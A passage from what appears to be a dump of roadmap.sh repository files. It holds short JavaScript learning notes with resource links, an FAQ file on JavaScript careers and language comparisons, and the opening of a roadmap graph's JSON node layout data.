    "path": "src/data/roadmaps/javascript/content/variable-naming-rules@HfieG3v3wnmpZDfNwEJvZ.md",
    "content": "# Naming Rules\n\nA variable name should accurately identify your variable. When you create good variable names, your JavaScript code becomes easier to understand and easier to work with. Properly naming variables is really important. JavaScript also has some rules when it comes to naming variables; read about these rules through the links below.\n\nVisit the following resources to learn more:\n\n- [@article@JavaScript Variable Naming Tips - CodeGuage](https://www.codeguage.com/courses/js/variables#Tips_for_naming_variables)\n- [@article@Understanding Variables in JavaScript](https://www.informit.com/articles/article.aspx?p=131025&seqNum=3)\n- [@article@Naming JavaScript Variables](https://www.dummies.com/article/technology/programming-web-design/javascript/naming-javascript-variables-142522/)\n- [@article@JavaScript Naming Conventions](https://www.robinwieruch.de/javascript-naming-conventions/)\n- [@article@Google JavaScript Style Guide](https://google.github.io/styleguide/jsguide.html)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/variable-scopes@7iMJuaB7yKlSIbT4dBe5L.md",
    "content": "# Scopes\n\nIn JavaScript, scope refers to the visibility of a variable or how it can be used after it is declared. The scope of a variable depends on the keyword that was used to declare it.\n\nThe three types of Scope are Global Scope, Function Scope, and Block Scope. Before ES6 (2015), JavaScript had only Global Scope and Function Scope with the `var` keyword. ES6 introduced `let` and `const` which allow Block Scope in JavaScript.\n\nGlobal Scope: Variables declared outside any function or curly braces '{}' have Global Scope, and can be accessed from anywhere within the same Javascript code. `var`, `let` and `const` all provide this Scope.\n\nFunction Scope: Variables declared within a function can only be used within that same function. Outside that function, they are undefined. `var`, `let` and `const` all provide this Scope.\n\nBlock Scope: A block is any part of JavaScript code bounded by '{}'. Variables declared within a block can not be accessed outside that block. This Scope is only provided by the `let` and `const` keywords. If you declare a variable within a block using the `var` keyword, it will NOT have Block Scope.\n\nLocal Scope: Local variables are only recognized inside their functions, variables with the same name can be used in different functions. Local variables are created when a function starts, and deleted when the function is completed. `var`, `let` and `const` all provide this Scope.\n\nVisit the following resources to learn more:\n\n- [@article@javascript scope](https://wesbos.com/javascript/03-the-tricky-bits/scope)\n- [@video@Understanding Global Local Function Block Scope](https://www.youtube.com/watch?v=_E96W6ivHng)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/weak-map@6icsjC4aisDgPWasVuCOt.md",
    "content": "# Weak map\n\n[WeakMap](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap) is a Map-like collection of key/value pairs whose keys must be objects, it removes them once they become inaccessible by other means\n\nVisit the following resources to learn more:\n\n- [@article@WeakMap](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap)\n- [@article@WeakMap and WeakSet](https://javascript.info/weakmap-weakset)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/weak-set@DSFzj61N9ojz29mjExhVa.md",
    "content": "# WeakSet\n\n`WeakSet` objects are collections of objects. Just as with `Sets`, each object in a `WeakSet` may occur only once; all objects in a `WeakSet`'s collection are unique.\n\nVisit the following resources to learn more:\n\n- [@article@WeakSet](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet)\n- [@article@WeakMap and WeakSet](https://javascript.info/weakmap-weakset)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/what-is-javascript@UBB-8hUcwo4Mfd0cmEcdA.md",
    "content": "# What is JavaScript?\n\nJavaScript, often abbreviated JS, is a programming language that is one of the core technologies of the World Wide Web, alongside HTML and CSS. It lets us add interactivity to pages e.g. you might have seen sliders, alerts, click interactions, popups, etc on different websites -- all of that is built using JavaScript. Apart from being used in the browser, it is also used in other non-browser environments as well such as Node.js for writing server-side code in JavaScript, Electron for writing desktop applications, React Native for mobile applications, and so on.\n\nVisit the following resources to learn more:\n\n- [@article@JavaScript MDN Docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript)\n- [@article@The Modern JavaScript Tutorial](https://javascript.info/)\n- [@article@A Comprehensive Course on JavaScript with Quizzes and Exercises - CodeGuage](https://www.codeguage.com/courses/js/)\n- [@article@Exploring JS: JavaScript books for programmers](https://exploringjs.com/)\n- [@video@JavaScript Crash Course for Beginners](https://youtu.be/hdI2bqOjy3c?t=2)\n- [@video@Build a Netflix Landing Page Clone with HTML, CSS & JS](https://youtu.be/P7t13SGytRk?t=22)\n- [@video@Learn JavaScript - Full Course for Beginners](https://www.youtube.com/watch?v=PkZNo7MFNFg)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/while@9-MpHmzK_IiCi6IcvAlGM.md",
    "content": "# while statement\n\nThe `while` statement creates a loop that executes a specified statement as long as the test condition evaluates to `true`. The condition is evaluated before executing the statement.\n\nVisit the following resources to learn more:\n\n- [@article@While Statement - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/while)\n- [@article@The while Loop - CodeGuage](https://www.codeguage.com/courses/js/loops-while-loop)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/working-with-apis@q6vciQb_Jk-Up16Pk5NeE.md",
    "content": "# Working with APIs\n\nWhen working with remote APIs, you need a way to interact with those APIs. Modern JavaScript provides two native ways to send HTTP requests to remote servers, `XMLHttpRequest` and `Fetch`.\n\nVisit the following resources to learn more:\n\n- [@article@Fetching data from the server](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data)\n- [@article@XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest)\n- [@article@Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API)\n- [@article@Is fetch API better than XMLHTTPRequest](https://medium.com/beginners-guide-to-mobile-web-development/the-fetch-api-2c962591f5c)\n- [@article@Ajax Battle: XMLHttpRequest vs the Fetch API](https://blog.openreplay.com/ajax-battle-xmlhttprequest-vs-fetch/)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/xmlhttprequest@LiuhBE7dIlkoWkthSoCsa.md",
    "content": "# XMLHttpRequest\n\n`XMLHttpRequest` (XHR) is a built-in browser object that can be used to interact with server. XHR allows you to update data without having to reload a web page. Despite the word XML in its name, XHR not only used to retrieve data with XML format, we can use it with any type of data, like JSON, file(s), and much more.\n\nVisit the following resources to learn more:\n\n- [@article@Using XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest)\n- [@article@Network request - XMLHttpRequest](https://javascript.info/xmlhttprequest)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/faqs.astro",
    "content": "---\nimport type { FAQType } from '../../components/FAQs/FAQs.astro';\n\nexport const faqs: FAQType[] = [\n  {\n    question: 'What skills does a JavaScript developer need?',\n    answer: [\n      'A JavaScript developer needs to have a solid grasp of core JavaScript concepts to be successful because those will be the only common concepts that any framework or library they might depend on will use.',\n      'These core concepts include functions, operators, and data structures. They should also include experience with at least one JavaScript framework or core library, such as React for building interactive websites or Next.js for backends.',\n      \"If their focus is back-end development, concepts such as API design and integration, data modeling, server-side rendering, and database querying are a must, as these will be part of the developer's daily tasks.\",\n      \"Front-end developers should also learn about web standards, the DOM API, web components (or lightning web components if you're working with the Salesforce ecosystem), and have some basic understanding of UX.\",\n      'Candidates looking to prepare for [JavaScript developer interview questions](https://roadmap.sh/questions/javascript) should include the above-mentioned topics in their study program. For that, many developers schedule their studies at their own pace through extensive documentation, online training, and roadmaps like this one to build a solid foundational knowledge base.',\n    ],\n  },\n  {\n    question: 'Is JavaScript hard to learn?',\n    answer: [\n      \"JavaScript can be challenging at first, but it's not necessarily hard to learn. It has a lot of flexibility, which can be both a strength and a source of confusion. If you're new to programming, it might feel overwhelming due to the variety of ways you can do the same thing.\",\n      'However, if you have some programming background, JS can be accessible due to its extensive online documentation and supportive community, which makes it easier to learn at your own pace.',\n      \"As learners progress and encounter the language's continuous stream of new features (due to its constant evolution), the learning process becomes challenging and rewarding. More here: [Is JavaScript hard to learn?](https://roadmap.sh/javascript/hard-to-learn)\",\n    ],\n  },\n  {\n    question: 'How much is a JavaScript developer paid?',\n    answer: [\n      'JavaScript developers are usually paid very well due to their high demand. The web industry keeps growing, and the demand for developers who can build complex experiences is even higher. This translates to companies fighting each other over JavaScript developers, which tends to increase the base salary for these roles.',\n      'That said, compensation can vary significantly based on factors such as geographical location and level of expertise. Salaries tend to be competitive in major tech hubs like New York and San Francisco, and experienced professionals or certified JavaScript developers with extensive knowledge of JavaScript frameworks often require higher pay.',\n      \"As a basis for comparison, according to sites such as Glassdoor, an average JavaScript developer earns 70,000 USD in the United States at an entry level (about 1 year of experience). Someone who's more experienced (10+ years of experience), however, can take that number to 110,000 USD on average.\",\n      \"In the end, it depends on the company and how much they're willing to pay, as well as on your negotiation skills.\",\n    ],\n  },\n  {\n    question: 'How is JavaScript different from Java?',\n    answer: [\n      'JavaScript is very different from Java, despite the similarity in their names. This is because JavaScript and Java are fundamentally different languages. JavaScript is a dynamically typed language that favors a mixed programming model between procedural and functional programming with some sprinkles of OOP, while Java is a statically typed, object-oriented language.',\n      'JavaScript usually runs in browsers or server environments like Node.js, whereas Java is commonly used in desktop and server-side applications requiring the Java Virtual Machine (JVM) to be executed.',\n      \"These differences extend to the languages' design philosophies and learning curves, with JavaScript emphasizing dynamic content creation through flexible tools and data structures.\",\n    ],\n  },\n  {\n    question: 'How is JavaScript different from PHP?',\n    answer: [\n      'JavaScript is very different from PHP because it serves a different role within the web development ecosystem.',\n      'JavaScript can be used both by front-end developers to create interactive elements and on the back-end to code business logic, while PHP is a server-side-only scripting language that manages backend logic.',\n      'Developers can use a combination of the two to build web applications that blend interactive design (thanks to JavaScript) with robust server-side functionality (thanks to PHP).',\n    ],\n  },\n  {\n    question: 'How is JavaScript different from TypeScript?',\n    answer: [\n      'JavaScript is different from TypeScript because TS is a superset of JavaScript. In other words, TypeScript enhances the language by adding new features that tend to align with the expectations of many developers (especially those coming from other languages like Java).',\n      'Although TypeScript introduces additional layers of explicit documentation and data type definitions, it also builds on the core principles of JavaScript (so at its core, it feels like JavaScript and is compatible with it). At the end of the day, they can both be used to build interactive web applications.',\n      'Many certified JavaScript developers and front end experts choose TypeScript for its ability to produce more robust and maintainable code while still relying on the flexible and innovative features that make JavaScript the de facto tool for web developers.',\n    ],\n  },\n];\n---\n"
  },
  {
    "path": "src/data/roadmaps/javascript/javascript.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"RT5Y79D2bHy6PsH_R3ErB\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 285.5025092677304,\n        \"y\": 1826.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 279,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 279\n      },\n      \"positionAbsolute\": {\n        \"x\": 285.5025092677304,\n        \"y\": 1826.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 279\n      }\n    },\n    {\n      \"id\": \"Vw9QlH1HRpkhY0MB_qYSl\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 162.55738234743455,\n        \"y\": 1725.8694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 173,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 173\n      },\n      \"positionAbsolute\": {\n        \"x\": 162.55738234743455,\n        \"y\": 1725.8694458007812\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 173\n      }\n    },\n    {\n      \"id\": \"7_PNaE81zDfU_rrERJaut\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -174.30802068213768,\n        \"y\": 1798.7725047650335\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"nIKq5h-D4CH0rTuyvIYrj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 80,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 80\n      },\n      \"positionAbsolute\": {\n        \"x\": -174.30802068213768,\n        \"y\": 1798.7725047650335\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 80\n      }\n    },\n    {\n      \"id\": \"nIKq5h-D4CH0rTuyvIYrj\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -174.30802068213768,\n        \"y\": 1940.8694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 69\n      },\n      \"positionAbsolute\": {\n        \"x\": -174.30802068213768,\n        \"y\": 1940.8694458007812\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 69\n      }\n    },\n    {\n      \"id\": \"vbQvUkXTW5X7Msi5h5bfU\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -110.62763977050781,\n        \"y\": 1940.8694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"oldId\": \"nIKq5h-D4CH0rTuyvIYrj\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 69\n      },\n      \"positionAbsolute\": {\n        \"x\": -110.62763977050781,\n        \"y\": 1940.8694458007812\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 69\n      }\n    },\n    {\n      \"id\": \"k92omG8sirMkkG21L2lIG\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -41.62763977050781,\n        \"y\": 1940.8694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"oldId\": \"vbQvUkXTW5X7Msi5h5bfU\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 69\n      },\n      \"positionAbsolute\": {\n        \"x\": -41.62763977050781,\n        \"y\": 1940.8694458007812\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 69\n      }\n    },\n    {\n      \"id\": \"0njVxhIA2YIJ9qKyVxjf8\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 86.55738234743455,\n        \"y\": 1303.8694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 82,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 82\n      },\n      \"positionAbsolute\": {\n        \"x\": 86.55738234743455,\n        \"y\": 1303.8694458007812\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 82\n      }\n    },\n    {\n      \"id\": \"WVB_JzBBd0IBLQeOmLA8l\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 202.26672552017453,\n        \"y\": 1303.8694458007812\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"0njVxhIA2YIJ9qKyVxjf8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 82,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 82\n      },\n      \"positionAbsolute\": {\n        \"x\": 202.26672552017453,\n        \"y\": 1303.8694458007812\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 82\n      }\n    },\n    {\n      \"id\": \"-F3iMNrT9JSZDZLQGwebH\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -174.30802068213768,\n        \"y\": 1206.7725047650335\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 601,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 601\n      },\n      \"positionAbsolute\": {\n        \"x\": -174.30802068213768,\n        \"y\": 1206.7725047650335\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 601\n      }\n    },\n    {\n      \"id\": \"H7egAB_mCOFfyVvVfE7Sq\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 470.5448461352869,\n        \"y\": 1103.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 91,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 91\n      },\n      \"positionAbsolute\": {\n        \"x\": 470.5448461352869,\n        \"y\": 1103.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 91\n      }\n    },\n    {\n      \"id\": \"TN-WaRT4V6szTvQtqbw7U\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 354.0025092677304,\n        \"y\": 1103.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"H7egAB_mCOFfyVvVfE7Sq\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 91,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 91\n      },\n      \"positionAbsolute\": {\n        \"x\": 354.0025092677304,\n        \"y\": 1103.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 91\n      }\n    },\n    {\n      \"id\": \"UhkFfLGkLhOZy7f98T7fi\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 173.17209364499,\n        \"y\": 1041.063720703125\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 161,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 161\n      },\n      \"positionAbsolute\": {\n        \"x\": 173.17209364499,\n        \"y\": 1041.063720703125\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 161\n      }\n    },\n    {\n      \"id\": \"efeOuXHkhR2UBWM2Uz1Ih\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 315.93263762370384,\n        \"y\": 949.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 79,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 79\n      },\n      \"positionAbsolute\": {\n        \"x\": 315.93263762370384,\n        \"y\": 949.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 79\n      }\n    },\n    {\n      \"id\": \"DyhRrYJ78u0ZoxzC-4bF-\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 173.17209364499,\n        \"y\": 950.1019998033482\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"efeOuXHkhR2UBWM2Uz1Ih\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 79,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 79\n      },\n      \"positionAbsolute\": {\n        \"x\": 173.17209364499,\n        \"y\": 950.1019998033482\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 79\n      }\n    },\n    {\n      \"id\": \"JM16NHhFVOwwbwqCubmYw\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -212.7816601458129,\n        \"y\": 885.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 212,\n      \"height\": 274,\n      \"style\": {\n        \"width\": 212,\n        \"height\": 274\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -212.7816601458129,\n        \"y\": 885.2304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 274\n      }\n    },\n    {\n      \"id\": \"iZjl6qe9LGLFqXyopMUFX\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -521.828125,\n        \"y\": 765.063720703125\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 263,\n      \"height\": 108,\n      \"style\": {\n        \"width\": 263,\n        \"height\": 108\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -521.828125,\n        \"y\": 765.063720703125\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 108\n      }\n    },\n    {\n      \"id\": \"H3WkCOmbGQhvqjbdp5lkI\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 265.5025092677304,\n        \"y\": 474.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 53,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 53\n      },\n      \"positionAbsolute\": {\n        \"x\": 265.5025092677304,\n        \"y\": 474.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 53\n      }\n    },\n    {\n      \"id\": \"NblxOcAnB1id7c9z6d6jL\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 25.766725520174532,\n        \"y\": 345.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 56,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 56\n      },\n      \"positionAbsolute\": {\n        \"x\": 25.766725520174532,\n        \"y\": 345.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 56\n      }\n    },\n    {\n      \"id\": \"SSqBPOJROQpX5poMFSJtJ\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -521.2332744798255,\n        \"y\": 286.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 225,\n      \"height\": 276,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 276\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -521.2332744798255,\n        \"y\": 286.7304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 276\n      }\n    },\n    {\n      \"id\": \"HQhfzCPLg18t6pGMaL0hv\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 272.0025092677304,\n        \"y\": 209.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"13pndno5JSKQQaRHPTWdC\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 72,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 72\n      },\n      \"positionAbsolute\": {\n        \"x\": 272.0025092677304,\n        \"y\": 209.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 72\n      }\n    },\n    {\n      \"id\": \"o-91XV8kk0_35-alDkXtP\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 356.0025092677304,\n        \"y\": 222.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"HQhfzCPLg18t6pGMaL0hv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 72,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 72\n      },\n      \"positionAbsolute\": {\n        \"x\": 356.0025092677304,\n        \"y\": 222.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 72\n      }\n    },\n    {\n      \"id\": \"_kaSKWCyvpshv9dtT4kKM\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 438.0025092677304,\n        \"y\": 222.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"o-91XV8kk0_35-alDkXtP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 72,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 72\n      },\n      \"positionAbsolute\": {\n        \"x\": 438.0025092677304,\n        \"y\": 222.2304293708296\n      },\n      \"dragging\": false,\n      